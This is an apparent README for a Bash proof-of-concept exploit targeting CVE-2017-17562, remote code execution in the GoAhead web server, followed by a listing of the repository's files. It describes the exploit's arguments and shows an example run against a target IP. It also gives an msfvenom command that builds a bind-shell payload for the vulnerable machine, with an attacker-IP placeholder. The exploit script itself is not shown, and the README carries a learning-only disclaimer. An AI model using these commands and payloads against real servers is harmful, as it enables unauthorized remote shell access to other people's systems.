PoC for CVE-2017-17562 written in bash# bash-CVE-2017-17562
An PoC implementation in `Bash` for `CVE-2017-17562`.
Requires `curl` for crafting HTTP requests.
Based on [Metasploit](https://www.exploit-db.com/exploits/43877) and [@fssecur3](https://github.com/fssecur3/goahead-rce-exploit) implementations.
## Arguments
The following arguments need to be set as they are required for reconnaissance + payload send:
```
$1: IP/Host of remote vulnerable machine being attacked
$2: Port of remote machine webserver
$4: Path to crafted payload being sent to vulnerable machine
```
Optionally, the following arguments can also be set:
```
$3: If the web server is running under a TLS/SSL tunnel. Defaults to no
$5: Path to list of known vulnerable CGI endpoints, to be used in reconnaissance phase. Defaults to "cgi.endpoints"
```
## Example
```
bash exploit.bash 192.168.1.1 80 yes payload.so cgi.endpoints
```
### Disclaimer
The present code is only for learning and demonstration purposes. You shall not use this in to targets you do not have permission to do so.
No payloads are provided in this repository. However any binary that matches target OS architecture should work. To craft a bind shell payload, you can use `msfvenon`:
```
msfvenom -a <instruction_set> --platform <os> -p generic/shell_bind_tcp LHOST=<attacker_ip_address> LPORT=<target_bind_port> -f elf-so -o payload.so
```
[4.0K] /data/pocs/f4eef05b7b736eb15ada19c8a28dfb58663d0f36
├── [2.6K] cgi.endpoints
├── [3.4K] exploit.bash
├── [1.2K] LICENSE
└── [1.3K] README.md
0 directories, 4 files